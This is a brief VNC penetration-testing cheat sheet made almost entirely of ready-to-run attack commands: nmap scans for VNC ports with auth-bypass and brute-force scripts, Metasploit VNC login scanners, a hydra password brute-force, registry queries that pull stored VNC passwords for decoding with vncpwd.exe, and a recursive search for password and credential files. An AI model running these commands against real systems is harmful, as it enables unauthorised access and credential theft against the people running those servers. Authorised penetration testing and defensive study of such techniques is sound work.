VNC Pentest

#nmap - Finding VNC Enabled Servers
nmap -Pn -p5900,5901,5902,5903,5905,5906 10.10.10.0/24

-p5910,5911,5912,5914,5915,5916

#Nmap Script Scan
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p5900 10.10.10.10

#VNC brute using nmap
nmap -Pn -sV -p5900 --script vnc-brute 10.10.10.10

Metasploit Auth Scanning 

use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.0/24
set THREADS 50
run

or use 
use auxiliary/scanner/vnc/vnc_login

Brute forcing VNC Creds

hydra -s 5901 -P pass.txt -t 16 10.10.10.10 vnc

VNC 4 --> Real VNC 4 - Auth Bypass 

Get VNC Password from Registry

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server /v PasswordViewOnly"
vncpwd.exe PASSWORD_FROM_ABOVE

Search for keyword "pass,cred,vnc and config"

dir /s *pass* == *cred* == *vnc* == *.config*